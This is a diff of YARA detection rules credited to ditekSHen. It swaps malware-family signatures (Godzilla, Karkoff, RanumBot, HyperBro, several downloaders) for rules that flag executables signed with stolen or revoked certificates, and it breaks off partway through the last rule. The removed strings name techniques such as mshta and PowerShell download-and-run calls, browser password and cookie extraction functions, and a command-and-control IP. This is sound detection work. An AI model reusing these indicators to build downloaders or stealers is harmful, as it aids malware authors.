+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TeamViewer Germany GmbH" and pe.signatures[i].serial=="0b:44:65:46:c3:65:25:bf:5f:08:4f:6b:bb:ba:70:97" and 1608724800<=pe.signatures[i].not_after)
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Godzilla : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E4E795Fd1Fd25595B869Ce22Aa7Dc49F : FILE
 {
 	meta:
-		description = "Detects Godzilla loader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3384b844-6abf-5f94-a62b-7ebbdfe321bd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8807c05d-c13b-58e8-9dda-c2eae6b5979c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5247-L5265"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6087-L6101"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ff87fbaaf488ac69e06a03a7f8e5305ec114caa6271c25fa130033f50f0d9095"
+		logic_hash = "0aef5e2af3059597d218c544bc0b56078e1ef924af0530c62aa12679e0816410"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "MSVBVM60.DLL" fullword ascii
-		$x2 = "Loginserver8" fullword ascii
-		$x3 = "Proflogger7" fullword ascii
-		$s1 = "Badgeless5" fullword ascii
-		$s2 = "Montebrasite3" fullword ascii
-		$s3 = "Atelomyelia4" fullword ascii
-		$s4 = "Xxencoded5" fullword ascii
-		$s5 = "Garneau2" fullword ascii
-		$s6 = "Hypostasis0" fullword ascii
-		$s7 = "Piarhemia4" fullword ascii
-		$s8 = "Foredestine8" fullword ascii
+		thumbprint = "269f25e6b7c690ae094086bd7825d03b48d4fcb1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of ($x*) and 2 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OASIS COURT LIMITED" and (pe.signatures[i].serial=="00:e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f" or pe.signatures[i].serial=="e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_UNK03 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_008E0Fa6B464D466Df1B267504B04F7B27 : FILE
 {
 	meta:
-		description = "Detects unknown malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b0711427-b6bf-5e4b-af36-9c752ead4d6c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6de3aab7-7175-537b-8a33-56cb0662b7a6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5267-L5280"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6103-L6114"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f1a4be68206628c3addbce8b6bbc1f801e67632d4e6a6af1d45cdad833e9a991"
+		logic_hash = "1f992d81b63108840d457f3f1906524cf4a9d4bec4a91f7bc826fae9989d40e0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion" ascii
-		$s2 = "rundll32.exe C:\\Windows\\System32\\shimgvw.dll,ImageView_Fullscreen %s" ascii
-		$s3 = "%s.jpg" ascii
-		$s4 = "%s\\sz.txt" ascii
-		$s5 = "ChromeSecsv9867%d7.exe" ascii
-		$s6 = "%s\\appl%c.jpg" ascii
+		thumbprint = "91707c95044c5badcd51d198bdbe3a7ff3156c35"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ApcWCjFsGXwbWUJrKZ" and pe.signatures[i].serial=="00:8e:0f:a6:b4:64:d4:66:df:1b:26:75:04:b0:4f:7b:27")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_UNK04 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_559Cb90Fd16E9D1Ad375F050Ab6A6616 : FILE
 {
 	meta:
-		description = "Detects unknown malware (proxy tool)"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6a178f37-a9fd-5a83-a550-c6333342ac9b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8b2ed295-5aae-5ced-9603-8125b4e261f9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5282-L5296"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6116-L6127"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ba6e5bbc1d094b23e3870af963503d1ccbcd56adc24126b4a38b77d4b88b4b67"
+		logic_hash = "a91f23e2281efb95b780b26018f1c89485a87c6541ac84025dad3e6dd55c742e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "127.0.0.1/%d" fullword ascii
-		$x2 = "SYSTEM\\CurrentControlSet\\SERVICES\\PORTPROXY\\V4TOV4\\TCP" fullword ascii
-		$x3 = "%s rundll32.exe" fullword ascii
-		$s1 = "kxetray.exe" fullword ascii
-		$s2 = "ksafe.exe" fullword ascii
-		$s3 = "Mcshield.exe" fullword ascii
-		$s4 = "Miner.exe" fullword ascii
+		thumbprint = "78a149f9a04653b01df09743571df938f9873fa5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of ($x*) and 2 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shenzhen Smartspace Software technology Co.,Limited" and pe.signatures[i].serial=="55:9c:b9:0f:d1:6e:9d:1a:d3:75:f0:50:ab:6a:66:16")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Karkoff : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Eb95A7Bd7553533D : FILE
 {
 	meta:
-		description = "Detects Karkoff"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7d2fe783-18b3-5d84-a9b5-e8e0b5a0db98"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b9198469-4eba-552d-a8f5-5841893ff85e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5298-L5313"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6159-L6170"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e9b6ba5be2b3cd0faa898347e57cee5a57b80b19842c3a1ddb42d620307c8b39"
+		logic_hash = "e646346d94791c2a86a7240d4cf1f9138a30ca583b021ae5b17471cef20a98de"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "C:\\Windows\\Temp\\MSEx_log.txt" fullword wide
-		$x2 = "CMD.exe" fullword wide
-		$x3 = "Karkoff.ProjectInstaller.resources" fullword ascii
-		$s1 = /try\shttp(s)?\s(ip|domain)/ fullword wide
-		$s2 = "Reg cleaned!" fullword wide nocase
-		$s3 = "Content-Disposition: form-data; name=\"{1}\"" fullword wide
-		$s4 = "^[A-Fa-f0-9]{8}-([A-Fa-f0-9]{4}-){3}[A-Fa-f0-9]{12}$" fullword wide
-		$s5 = "new backdoor" fullword wide
+		thumbprint = "8d658fd671fa097c3db18906a29e8c1fa45113d9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or 4 of ($s*) or (2 of ($x*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\x02C\\x02\\x97\\x04\\x17\\x04\\x1e\\x04.\\x02\\x90\\x00g\\x02\\x94\\x02\\xae\\x00p\\x04 \\x00K\\x04J\\x02\\x88\\x042\\x02K\\x02\\xa3" and pe.signatures[i].serial=="eb:95:a7:bd:75:53:53:3d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent09 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A1F3A057A1Dce4Bf7D76D0C7Adf837E : FILE
 {
 	meta:
-		description = "Detects known downloader agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "90f71ac7-19d9-5a8e-9830-df2f16e12c9b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c4829ec0-b6be-5701-a4cf-e4b1205240b3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5315-L5328"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6172-L6184"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9336507fa4bb9d3a6325d5e9caafc8c4e816a0166fded7d4e53e09a87628bc89"
+		hash = "2df05a70d3ce646285a0f888df15064b4e73034b67e06d9a4f4da680ed62e926"
+		logic_hash = "de9ae66e497730db54fc21a745426c687c3a4d9819c08bc1dca0b42a5b8070ac"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$h1 = "//:ptth" ascii wide nocase
-		$h2 = "//:sptth" ascii wide nocase
-		$s1 = "DownloadString" fullword ascii wide
-		$s2 = "StrReverse" fullword ascii wide
-		$s3 = "FromBase64String" fullword ascii wide
-		$s4 = "WebClient" fullword ascii wide
+		thumbprint = "8279b87c89507bc6e209a7bd8b5c24b31fb9a6dc"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($h*) and all of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beijing Qihu Technology Co., Ltd." and pe.signatures[i].serial=="0a:1f:3a:05:7a:1d:ce:4b:f7:d7:6d:0c:7a:df:83:7e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Coinminingbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00849Ea0945Dd2Ea2Dc3Cc2486578A5715 : FILE
 {
 	meta:
-		description = "Detects coinmining bot"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "df15bfbd-f531-5eaa-b160-ad8a1fbe992f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8584af2e-6b1e-5141-abbf-84e414ffaead"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5330-L5343"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6186-L6197"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a307a6c9184e8f4068cfa89a8432ae017c8aab10b706ba065051f8749860c15c"
+		logic_hash = "824744510e73cd6717e3626a5a250466bfb5817fd7172fc32466c2e68e20947b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "FullScreenDetect" fullword ascii
-		$s2 = "GetChildProcesses" fullword ascii
-		$s3 = "HideBotPath" fullword ascii
-		$s4 = "Inject" fullword ascii
-		$s5 = "DownloadFile" fullword ascii
-		$s6 = "/Data/GetUpdateInfo" wide
+		thumbprint = "8c56adfb8fba825aa9a4ab450c71d45b950e55a4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Biglin" and pe.signatures[i].serial=="00:84:9e:a0:94:5d:d2:ea:2d:c3:cc:24:86:57:8a:57:15")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Fyanti : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0537F25A88E24Cafdd7919Fa301E8146 : FILE
 {
 	meta:
-		description = "Hunt for FYAnti third-stage loader DLLs"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7a1f913c-d83f-50e9-943c-246c4c71c654"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b0dd33b4-2040-5021-bebc-5ca26d75f14c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5345-L5351"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6215-L6227"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "baaeef0b1452d7ea41ffaaff592cac2c5e16f921dbbfb3a300a63e69f134e9d0"
+		hash = "72ac61e6311f2a6430d005052dbc0cc58587e7b75722b5e34a71081370f4ddd5"
+		logic_hash = "8cd68612354a756c4a52d6baea9ef6ed74c94f5fcf25baa2f72c1131e0828f84"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		thumbprint = "922211f5ab4521941d26915aeb82ee728f931082"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and pe.exports("FuckYouAnti")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Avira Operations GmbH & Co. KG" and pe.signatures[i].serial=="05:37:f2:5a:88:e2:4c:af:dd:79:19:fa:30:1e:81:46")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent10 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2E4A279Bde2Eb688E8Ab30F5904Fa875 : FILE
 {
 	meta:
-		description = "Detects known downloader agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b5807adf-9d15-5e08-97fb-a529acb1c1eb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "3fd40418-9efe-5dfe-a4e2-01ff9c46a4d5"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5353-L5364"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6229-L6240"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "74647b39331727000608bc89b30189d802e62d59876659d4477deb4da2fcfe13"
+		logic_hash = "768b2cb64f7ce359285721bbfd2f2f6aac4065ec234dc091933d962a7f0ab79a"
 		score = 75
-		quality = 67
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "powershell.exe" ascii wide nocase
-		$s2 = ".DownloadFile(" ascii wide nocase
-		$s3 = "_UseShellExecute" ascii wide nocase
-		$s4 = "_CreateNoWindow" ascii wide nocase
+		thumbprint = "0cdf4e992af760e59f3ea2f1648804d2a2b47bbc"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lespeed Technology Co., Ltd" and pe.signatures[i].serial=="2e:4a:27:9b:de:2e:b6:88:e8:ab:30:f5:90:4f:a8:75")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Pureloader : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Fbe6758Ae785D7C678A4Ad8De5C3F7E6 : FILE
 {
 	meta:
-		description = "Detects Pure loader / injector"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ad44a12a-4ac7-5cc7-92ab-13c23514de69"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "4d080acc-fb11-5e4d-9c59-562f30376936"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5366-L5382"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6242-L6253"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1f0bd20e769ea79d28d6e60ca06aa8aa2b3436426cfe0cd4f2023a08236875cd"
+		logic_hash = "c6d84435c5c4f71696ce0414c87216bbb0603cb75d6e37abaf73e3708904032e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "InvokeMember" fullword wide
-		$s2 = "ConcatProducer" fullword wide
-		$s3 = ".Classes.Resolver" wide
-		$s4 = "get_DLL" fullword ascii
-		$s5 = "BufferedStream" fullword ascii
-		$s6 = "GZipStream" fullword ascii
-		$s7 = "MemoryStream" fullword ascii
-		$s8 = "Decompress" fullword ascii
-		$s9 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii
+		thumbprint = "bd1958f0306fc8699e829541cd9b8c4fe0e0c6da920932f2cd4d78ed76bda426"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HORUM" and pe.signatures[i].serial=="fb:e6:75:8a:e7:85:d7:c6:78:a4:ad:8d:e5:c3:f7:e6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_VBS_Dlagent01
+rule DITEKSHEN_INDICATOR_KB_CERT_00A73B6D821F84Db4451D6Eedd62C42848 : FILE
 {
 	meta:
-		description = "Detects VBS MSHTA downloader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "447ea323-ecab-5f6b-b13e-0690254c754e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c7533bc5-7d83-550e-a36c-eb459f2be842"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5384-L5395"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6255-L6266"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0e47839a55773764aca0aebcf1078c06c729b86d1e2f18d7d64e3bb11e87f3eb"
+		logic_hash = "448527bcbe2851bffefabe06a58e3ca68c092a2080041c51acacad3d5119aa0c"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = "llehS.tpircsW" ascii
-		$s2 = ".Run" ascii
-		$s3 = "mshta http" ascii nocase
-		$s4 = "StrReverse" ascii
+		tags = "FILE"
+		thumbprint = "eca61ad880741629967004bfc40bf8df6c9f0794"
+		importance = 20
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Mht Holding Vinderup ApS" and pe.signatures[i].serial=="00:a7:3b:6d:82:1f:84:db:44:51:d6:ee:dd:62:c4:28:48")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ranumbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_500D76B1B4Bfaf4A131F027668Fea2D3 : FILE
 {
 	meta:
-		description = "Detects RanumBot / Windigo / GoStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "26a0832e-8a39-5a0e-bd39-710744212c16"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "670138fc-7f2f-5145-8488-196912292ef7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5397-L5430"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6268-L6279"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a9c32445e62d072e4184d25497696ef6225edb176dc7a9743a54194d4ddb4b0c"
+		logic_hash = "a4f626e5ae9d273723814b0d944b067e70714e10776600a1bd0f90af31c1146a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$f1 = "main.addSchedulerTaskSSH" fullword ascii
-		$f2 = "main.attackRouter" fullword ascii
-		$f3 = "main.decryptPassword" fullword ascii
-		$f4 = "main.handleScanRequest" fullword ascii
-		$f5 = "main.scanNetwork" fullword ascii
-		$f6 = "main.extractCredentials" fullword ascii
-		$s1 = "H_T= H_a= H_g= MB,  W_a= and  h_a= h_g= h_t= max= ptr  siz= tab= top= u_a= u_g=%s/16%s:%d%s:22+0330+0430+0530+0545+0630+0845+10" ascii
-		$s2 = "<== as  at  fp= is  lr: of  on  pc= sp: sp=) = ) m=+Inf, n -Inf00%x112212343125: p=ABRTACDTACSTAEDTAESTAKDTAKSTALRMAWSTAhomAtoiCESTChamDashEESTGOGCJulyJuneKILLLEAFLisuMiaoModiNZDTNZSTNewaPIPEQUITSASTSEGVTERMThai" ascii
-		$s3 = "W*struct { P *big.Int; Q *big.Int; G *big.Int; Y *big.Int; Rest []uint8 \"ssh:\\\"rest\\\"\" }" ascii
-		$s4 = "policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write" ascii
-		$s5 = "/Users/alexander/go/src/mikrotik/winbox.go" ascii
-		$xf1 = "main.readConfig" fullword ascii
-		$xf2 = "main.ensureRunningAsUser" fullword ascii
-		$xf3 = "main.configRegPath" fullword ascii
-		$xf4 = "main.oldConfigRegPath" fullword ascii
-		$uf1 = "main.locateChrome" fullword ascii
-		$uf2 = "main.decryptAndUploadProfile" fullword ascii
-		$uf3 = "main.decryptCookies" fullword ascii
-		$uf4 = "main.extractPasswords" fullword ascii
-		$uf5 = "main.getFirefoxProfile" fullword ascii
-		$uf6 = "main.postBrowsersData" fullword ascii
-		$uf7 = "main.uploadFirefoxProfile" fullword ascii
-		$uf8 = "main.zipFirefoxProfile" fullword ascii
-		$uf9 = /main\.detect(Browsers|Chrome|Coccoc|Edge|Firefox|InternetExplorer|Opera|Yandex)/ fullword ascii
+		thumbprint = "fa491e71d98c7e598e32628a6272a005df86b196"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($f*) or 4 of ($s*) or (2 of ($f*) and 2 of ($s*)) or ( all of ($xf*) and 1 of ($uf*)) or 6 of ($uf*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FviSBJQX" and pe.signatures[i].serial=="50:0d:76:b1:b4:bf:af:4a:13:1f:02:76:68:fe:a2:d3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dllhijacker01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_54Cd7Ae1C27F1421136Ed25088F4979A : FILE
 {
 	meta:
-		description = "Hunt for VSNTAR21 / DllHijacker01 IronTiger / LuckyMouse / APT27 malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0a858058-310a-5b1c-a6fe-abdec7b25abe"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2f7a0a34-6650-59d1-acf9-5ded0317ee6f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5432-L5448"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6281-L6292"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "48535c0bb5342e2f91ac9d015c761d8d543b122dd3cc08b7029631fcf3037bfb"
+		logic_hash = "2b94ccd7f85a2b21edaf4b28f14827b399cdb82307c20320f77eb775c05751f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "libvlc_add_intf" fullword ascii
-		$s2 = "libvlc_dllonexit" fullword ascii
-		$s3 = "libvlc_getmainargs" fullword ascii
-		$s4 = "libvlc_initenv" fullword ascii
-		$s5 = "libvlc_set_app_id" fullword ascii
-		$s6 = "libvlc_set_app_type" fullword ascii
-		$s7 = "libvlc_set_user_agent" fullword ascii
-		$s8 = "libvlc_wait" fullword ascii
-		$s9 = "dll.dll" fullword ascii
+		thumbprint = "acde047c3d7b22f87d0e6d07fe0a3b734ad5f8ac"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ABBYMAJUTA LTD LIMITED" and pe.signatures[i].serial=="54:cd:7a:e1:c2:7f:14:21:13:6e:d2:50:88:f4:97:9a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Hyperbro02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_65Efa92A4164A3A2D888B5Cf8Ff073C8 : FILE
 {
 	meta:
-		description = "Detects HyperBro IronTiger / LuckyMouse / APT27 malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1880afd7-ca06-5b43-af8f-e791ded0d7d8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "07392a87-7d81-58c1-8dd6-2a9cbc8caa6b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5450-L5474"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6294-L6305"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ca4ee116516549fc42f7e32b3c24d631b7f2c638efbde5c07227358e78fd6f35"
+		logic_hash = "189f154d5b71bea9c06cd2c79d2460a1fb8cc9e0670a9ef8545e3abad80c8a06"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\cmd.exe /A" fullword wide
-		$s2 = "C:\\windows\\explorer.exe" fullword wide
-		$s3 = "\\\\.\\pipe\\testpipe" fullword wide
-		$s4 = "Elevation:Administrator!new:{" wide
-		$s5 = "log.log" fullword wide
-		$s6 = "%s\\%d.exe" fullword wide
-		$s7 = ".?AVTPipeProtocol@@" fullword ascii
-		$s8 = ".?AVTCaptureMgr@@" fullword ascii
-		$s9 = "system-%d" fullword wide
-		$s10 = "[test] %02d:%02d:%02d:%03d %s" fullword wide
-		$s11 = "\\..\\data.dat" fullword wide
-		$s12 = "\\..\\config.ini" fullword wide
-		$s13 = { 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 20 00 2d 00 77 00 6f 00 72 00 6b 00 65 00 72 00 }
-		$s14 = { 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 20 00 2d 00 64 00 61 00 65 00 6d 00 6f 00 6e 00 }
-		$cnc1 = "https://%s:%d/ajax" fullword wide
-		$cnc2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" fullword wide
-		$cnc3 = "139.180.208.225" fullword wide
